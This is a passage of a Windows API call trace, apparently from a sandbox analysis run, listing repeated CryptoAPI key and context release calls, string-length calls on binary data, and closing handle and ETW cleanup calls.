(hProv=0x5c4d210, dwFlags=0x0) returned 1 [0254.913] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ疰娆ﴧﹸ䝱훔聴ꐃ₏갟\蛝\廟㽪") returned 0x30 [0254.913] CryptReleaseContext (hProv=0x5c4d210, dwFlags=0x0) returned 1 [0254.913] CryptDestroyKey (hKey=0x5c99720) returned 1 [0254.913] CryptReleaseContext (hProv=0x5c4d210, dwFlags=0x0) returned 1 [0254.913] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱哻羌ᚉﲟ돼뙝臞托餵ꇳ䷼惡\輑庨∏) returned 0x30 [0254.914] CryptDestroyKey (hKey=0x5c997a0) returned 1 [0254.914] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0254.914] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0254.914] SysStringLen (param_1="㠶☱࿄羷澸㚢⾦濲睘\룛︿೒獆뢜鏽盋\䫙읞개딮㇄헤ᠩ夤얮寗\狚⏱ᑕ\䏟㔁୨鿻ꬎ뻰⹴젡濪ᛟມ矟ꁻ려") returned 0x30 [0254.914] CryptDestroyKey (hKey=0x5c999a0) returned 1 [0254.914] CryptReleaseContext (hProv=0x5c4d430, dwFlags=0x0) returned 1 [0254.914] CryptDestroyKey (hKey=0x5c99820) returned 1 [0254.914] CryptReleaseContext (hProv=0x5c4d298, dwFlags=0x0) returned 1 [0254.914] CryptReleaseContext (hProv=0x5c4d298, dwFlags=0x0) returned 1 [0254.914] CryptReleaseContext (hProv=0x5c4d430, dwFlags=0x0) returned 1 [0254.915] CryptDestroyKey (hKey=0x5c995e0) returned 1 [0254.915] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0254.915] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0254.915] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ裵隯ή㱁苩쀱䑚Շ苖폇Ɨ馰臭ᬸ") returned 0x30 [0254.915] CryptReleaseContext (hProv=0x5c4d210, dwFlags=0x0) returned 1 [0254.915] CryptDestroyKey (hKey=0x5c99560) returned 1 [0254.915] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0254.915] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0254.915] CryptReleaseContext (hProv=0x5c4cdd0, dwFlags=0x0) returned 1 [0254.915] CryptDestroyKey (hKey=0x5c999e0) returned 1 [0254.915] CryptReleaseContext (hProv=0x5c4cdd0, dwFlags=0x0) returned 1 [0254.916] CryptDestroyKey (hKey=0x5c996e0) returned 1 [0254.916] CryptReleaseContext (hProv=0x5c4d188, dwFlags=0x0) returned 1 [0254.916] CryptDestroyKey (hKey=0x5c99660) returned 1 [0254.916] CryptReleaseContext (hProv=0x5c4d188, dwFlags=0x0) returned 1 [0254.916] CryptReleaseContext (hProv=0x5c4d188, dwFlags=0x0) returned 1 [0254.916] CryptDestroyKey (hKey=0x5c995a0) returned 1 [0254.916] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0254.916] CryptDestroyKey (hKey=0x5c99ae0) returned 1 [0254.916] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0254.916] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0254.916] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0254.917] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0254.917] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0254.917] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0254.917] CryptDestroyKey (hKey=0x5c994e0) returned 1 [0254.917] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0254.917] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0254.917] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0254.917] CryptDestroyKey (hKey=0x5c99620) returned 1 [0254.917] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0254.918] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩䲝⁅繖ᶛ諾㌇\嗛懱륦鯘碈圯峸砀昀搀搀㄀∀) returned 0x30 [0254.918] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0254.918] CryptDestroyKey (hKey=0x5c994a0) returned 1 [0254.918] CryptReleaseContext (hProv=0x5c4d320, dwFlags=0x0) returned 1 [0254.918] CryptReleaseContext (hProv=0x5c4d320, dwFlags=0x0) returned 1 [0255.707] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0255.707] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0255.707] CryptDestroyKey (hKey=0x5c99aa0) returned 1 [0255.707] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0255.707] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0255.707] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0255.708] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0255.708] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0255.708] CryptDestroyKey (hKey=0x5c997e0) returned 1 [0255.708] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0255.708] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0255.708] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0255.708] CryptDestroyKey (hKey=0x5c99520) returned 1 [0255.708] CryptReleaseContext (hProv=0x5c4cdd0, dwFlags=0x0) returned 1 [0255.708] CryptReleaseContext (hProv=0x5c4cdd0, dwFlags=0x0) returned 1 [0255.708] CryptDestroyKey (hKey=0x5c99b60) returned 1 [0255.709] CryptReleaseContext (hProv=0x5c4cdd0, dwFlags=0x0) returned 1 [0255.709] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\䗜ꅆ괻᪼躐怮ᮘ㘭竴郇\\ﯜ猛镜∭) returned 0x30 [0255.709] CryptDestroyKey (hKey=0x5c994e0) returned 1 [0255.709] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0255.709] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0255.709] SysStringLen (param_1="䎯\菚ⅾ煿俿龉㪕㝖f카᱐㯵ힽ뗨莤㿠긵ꥭ일筢뎩ۊ剔裩阏忙䔨猪䰊ᩫऽ榫ᓣ趈꣭犢⒁ྤᔻ쩴\⧙") returned 0x30 [0255.709] CryptDestroyKey (hKey=0x5c996e0) returned 1 [0255.709] CryptReleaseContext (hProv=0x5c4d188, dwFlags=0x0) returned 1 [0255.709] CryptReleaseContext (hProv=0x5c4d188, dwFlags=0x0) returned 1 [0255.709] CryptDestroyKey (hKey=0x5c998e0) returned 1 [0255.709] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0255.710] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0255.710] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ殈솝婈␞㓟Ƣ쉤㧆貍僩떣啔ﺓ媊") returned 0x30 [0255.710] CryptReleaseContext (hProv=0x5c4cdd0, dwFlags=0x0) returned 1 [0255.710] CryptDestroyKey (hKey=0x5c994a0) returned 1 [0255.710] CryptReleaseContext (hProv=0x5c4d320, dwFlags=0x0) returned 1 [0255.710] CryptReleaseContext (hProv=0x5c4d320, dwFlags=0x0) returned 1 [0255.710] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0255.710] CryptDestroyKey (hKey=0x5c99920) returned 1 [0255.710] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0255.710] CryptDestroyKey (hKey=0x5c99a60) returned 1 [0255.710] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0255.711] CryptDestroyKey (hKey=0x5c99ae0) returned 1 [0255.711] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0255.711] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏亙瞥貜轂죲涆뎛뼐鶟謗輢瑡㩱뵩㲺") returned 0x30 [0255.711] CryptDestroyKey (hKey=0x5c996a0) returned 1 [0255.711] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0255.711] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0256.658] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0256.658] CryptDestroyKey (hKey=0x5c998e0) returned 1 [0256.658] CryptReleaseContext (hProv=0x5c4cdd0, dwFlags=0x0) returned 1 [0256.658] CryptReleaseContext (hProv=0x5c4cdd0, dwFlags=0x0) returned 1 [0256.658] CryptReleaseContext (hProv=0x5c4d188, dwFlags=0x0) returned 1 [0256.658] CryptDestroyKey (hKey=0x5c99520) returned 1 [0256.658] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0256.659] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠划醼໛\혰\Ꮨ덩䚥賓鞊糃깧") returned 0x30 [0256.659] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0256.659] CryptDestroyKey (hKey=0x5c997e0) returned 1 [0256.659] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0256.659] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿쩹歨ⅱ⁆翨㚳≏훙ᩆ䲣怓撨렙\ᛜ죹\嫛⨧\鏘ﰰけ띲≅) returned 0x30 [0256.659] CryptDestroyKey (hKey=0x5c994a0) returned 1 [0256.659] CryptReleaseContext (hProv=0x5c4d320, dwFlags=0x0) returned 1 [0256.659] CryptReleaseContext (hProv=0x5c4d320, dwFlags=0x0) returned 1 [0256.659] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃犷ᆽ艨箰억錊㸟诤Ბ쎷쏄ꠣ頽퇴") returned 0x30 [0256.660] CryptDestroyKey (hKey=0x5c99b60) returned 1 [0256.660] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0256.660] CryptDestroyKey (hKey=0x5c99760) returned 1 [0256.660] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0256.660] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0256.660] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0256.660] CryptDestroyKey (hKey=0x5c99ae0) returned 1 [0256.660] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0256.660] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0256.660] SysStringLen (param_1="襁輆Ꮅ┓\巚䓫񄒽Ｘ铻宅킲\쇝몑ꕓ̛\뷟箺꧟ᡸ諉鸴舍༿咐劬\꿜䆾㍴퇑ŷŅ坱\ϙ⋦⳺ᄩ篻Ყ됸ᐊꎠ⊫) returned 0x30 [0256.661] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0256.661] CryptDestroyKey (hKey=0x5c99a20) returned 1 [0256.661] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0256.661] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0256.661] CryptReleaseContext (hProv=0x5c4d430, dwFlags=0x0) returned 1 [0256.661] CryptDestroyKey (hKey=0x5c999a0) returned 1 [0256.661] CryptReleaseContext (hProv=0x5c4d430, dwFlags=0x0) returned 1 [0256.661] CryptDestroyKey (hKey=0x5c99b20) returned 1 [0256.661] CryptReleaseContext (hProv=0x5c4d188, dwFlags=0x0) returned 1 [0256.661] CryptDestroyKey (hKey=0x5c995e0) returned 1 [0256.661] CryptReleaseContext (hProv=0x5c4d210, dwFlags=0x0) returned 1 [0256.661] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0256.662] CryptReleaseContext (hProv=0x5c4d210, dwFlags=0x0) returned 1 [0256.662] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0256.662] CryptDestroyKey (hKey=0x5c999e0) returned 1 [0256.662] CryptReleaseContext (hProv=0x5c4d188, dwFlags=0x0) returned 1 [0256.662] CryptReleaseContext (hProv=0x5c4d188, dwFlags=0x0) returned 1 [0256.662] CryptDestroyKey (hKey=0x5c99920) returned 1 [0256.662] CryptReleaseContext (hProv=0x5c4d320, dwFlags=0x0) returned 1 [0256.662] CryptDestroyKey (hKey=0x5c996a0) returned 1 [0256.662] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0256.662] CryptDestroyKey (hKey=0x5c99860) returned 1 [0256.662] CryptReleaseContext (hProv=0x5c4d210, dwFlags=0x0) returned 1 [0256.663] CryptReleaseContext (hProv=0x5c4d210, dwFlags=0x0) returned 1 [0256.663] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0256.663] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0256.663] CryptReleaseContext (hProv=0x5c4d320, dwFlags=0x0) returned 1 [0256.663] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀뤂㸭മ赽閃踌㈯䴦㇪蓀ﱕꝱ稅") returned 0x30 [0256.663] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0258.079] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0258.079] CryptDestroyKey (hKey=0x5c998a0) returned 1 [0258.079] CryptReleaseContext (hProv=0x5c4d298, dwFlags=0x0) returned 1 [0258.079] CryptReleaseContext (hProv=0x5c4d298, dwFlags=0x0) returned 1 [0258.079] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0258.079] CryptDestroyKey (hKey=0x5c997a0) returned 1 [0258.079] CryptReleaseContext (hProv=0x5c4d298, dwFlags=0x0) returned 1 [0258.079] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞떇妖﹃ヲꩾꢿ渳섪钥魀ཫ⸿≎) returned 0x30 [0258.080] CryptReleaseContext (hProv=0x5c4d298, dwFlags=0x0) returned 1 [0258.080] CryptDestroyKey (hKey=0x5c999a0) returned 1 [0258.080] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0258.080] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0258.080] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0258.080] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0258.080] CryptDestroyKey (hKey=0x5c995a0) returned 1 [0258.080] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0258.080] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅䖓킿ﮙꓯ䯯㭮ꈹ⪣ュ됔굊冉碃塪࣡⊢) returned 0x30 [0258.081] CryptDestroyKey (hKey=0x5c99860) returned 1 [0258.081] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0258.081] CryptDestroyKey (hKey=0x5c99560) returned 1 [0258.081] CryptReleaseContext (hProv=0x5c4d320, dwFlags=0x0) returned 1 [0258.081] CryptReleaseContext (hProv=0x5c4d320, dwFlags=0x0) returned 1 [0258.081] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0258.081] CryptDestroyKey (hKey=0x5c99920) returned 1 [0258.081] CryptReleaseContext (hProv=0x5c4d210, dwFlags=0x0) returned 1 [0258.081] CryptReleaseContext (hProv=0x5c4d210, dwFlags=0x0) returned 1 [0258.081] CryptDestroyKey (hKey=0x5c99720) returned 1 [0258.081] CryptReleaseContext (hProv=0x5c4d430, dwFlags=0x0) returned 1 [0258.081] CryptReleaseContext (hProv=0x5c4d430, dwFlags=0x0) returned 1 [0258.082] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0258.082] CryptDestroyKey (hKey=0x5c994e0) returned 1 [0258.082] CryptReleaseContext (hProv=0x5c4d188, dwFlags=0x0) returned 1 [0258.082] CryptReleaseContext (hProv=0x5c4d188, dwFlags=0x0) returned 1 [0258.082] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0258.082] CryptDestroyKey (hKey=0x5c99760) returned 1 [0258.082] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0258.082] CryptDestroyKey (hKey=0x5c99ae0) returned 1 [0258.082] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0258.082] CryptDestroyKey (hKey=0x5c99a60) returned 1 [0258.082] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0258.083] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0258.083] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0258.083] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0258.083] CryptDestroyKey (hKey=0x5c99a20) returned 1 [0258.083] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0258.083] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏잓檓唀鴯ṅ跢眣鷺否擁䁮篇姍䝾酆ᘱ싯䜥咊復ꞥ텷푈ා틹⣩酾ꬊⴳꚅ硓⋟) returned 0x30 [0258.083] CryptDestroyKey (hKey=0x5c995e0) returned 1 [0258.083] CryptReleaseContext (hProv=0x5c4d188, dwFlags=0x0) returned 1 [0258.083] CryptReleaseContext (hProv=0x5c4d188, dwFlags=0x0) returned 1 [0258.083] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘邹奋듐䫠\꧘㣄ꆡ♐鮮䷎悜鉚⊎) returned 0x30 [0258.084] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0258.084] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ靴嚄篰\關냴묹踴梒ኴ阍㧒䂫䖨뒦⊒) returned 0x30 [0262.539] CryptReleaseContext (hProv=0x5c4d430, dwFlags=0x0) returned 1 [0262.539] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0262.539] CryptDestroyKey (hKey=0x5c99b20) returned 1 [0262.539] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0262.539] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0262.539] SysStringLen (param_1="敔矨≉㸚䘥⨹呄潩彰Ṡኦካ㧔ⳳ았齄綹퓛䦃ź䗮톔䚫콅홰赎ࣾ댘⍲ꢅ❖뭢쑣\篚풞䀜绹쾳怦﯒㨹瞯≩) returned 0x30 [0262.539] CryptReleaseContext (hProv=0x5c4d210, dwFlags=0x0) returned 1 [0262.539] CryptDestroyKey (hKey=0x5c99a20) returned 1 [0262.540] CryptReleaseContext (hProv=0x5c4d188, dwFlags=0x0) returned 1 [0262.540] CryptReleaseContext (hProv=0x5c4d188, dwFlags=0x0) returned 1 [0262.540] CryptReleaseContext (hProv=0x5c4d320, dwFlags=0x0) returned 1 [0262.540] CryptDestroyKey (hKey=0x5c995a0) returned 1 [0262.540] CryptReleaseContext (hProv=0x5c4d320, dwFlags=0x0) returned 1 [0262.540] CryptDestroyKey (hKey=0x5c99620) returned 1 [0262.540] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0262.540] CryptDestroyKey (hKey=0x5c99760) returned 1 [0262.540] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0262.540] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0262.540] CryptDestroyKey (hKey=0x5c99660) returned 1 [0262.540] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0262.541] CryptDestroyKey (hKey=0x5c99aa0) returned 1 [0262.541] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0262.541] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0262.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0262.541] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0262.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0262.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0262.542] CryptDestroyKey (hKey=0x5c99b60) returned 1 [0262.542] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0262.542] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0262.542] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0262.542] CryptDestroyKey (hKey=0x5c99920) returned 1 [0262.542] CryptReleaseContext (hProv=0x5c4d210, dwFlags=0x0) returned 1 [0262.542] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場ಓ┸꼳謯蜥壨媍ລ᳏葠䡇၁閮෇") returned 0x30 [0262.542] CryptReleaseContext (hProv=0x5c4d210, dwFlags=0x0) returned 1 [0262.542] CryptDestroyKey (hKey=0x5c99560) returned 1 [0262.542] CryptReleaseContext (hProv=0x5c4d210, dwFlags=0x0) returned 1 [0262.542] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌⒴Ꙛ⟗杽䣩碛쏂◩\⃚ᕧത䀧봵≰) returned 0x30 [0262.543] CryptDestroyKey (hKey=0x5c99a60) returned 1 [0262.543] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0262.543] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0262.543] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈擛娗አꆭ⇻뛩菱欌漞葃ꬭ⓱仮Გ㐋࿨") returned 0x30 [0262.543] CryptDestroyKey (hKey=0x5c999e0) returned 1 [0262.543] CryptReleaseContext (hProv=0x5c4d430, dwFlags=0x0) returned 1 [0262.543] CryptDestroyKey (hKey=0x5c994a0) returned 1 [0262.543] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0262.543] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0265.319] EtwEventUnregister () returned 0x0 [0265.320] EtwEventUnregister () returned 0x0 [0265.320] EtwEventUnregister () returned 0x0 [0265.320] EtwEventUnregister () returned 0x0 [0265.320] EtwEventUnregister () returned 0x0 [0265.320] EtwEventUnregister () returned 0x0 [0265.320] EtwEventUnregister () returned 0x0 [0265.320] EtwEventUnregister () returned 0x0 [0265.321] LocalFree (hMem=0x373348) returned 0x0 [0265.324] LocalFree (hMem=0x372710) returned 0x0 [0265.337] EtwEventUnregister () returned 0x0 [0265.342] CloseHandle (hObject=0x2d4) returned 1 [0265.379] CryptDestroyKey (hKey=0x5c68f00) returned 1 [0265.379] CryptReleaseContext (hProv=0x374090, dwFlags=0x0) returned 1 [0265.379] CloseHandle (hObject=0x4dc) returned 1 [0265.380] CloseHandle (hObject=0x4d8) returned 1 [0265.380] CryptDestroyKey 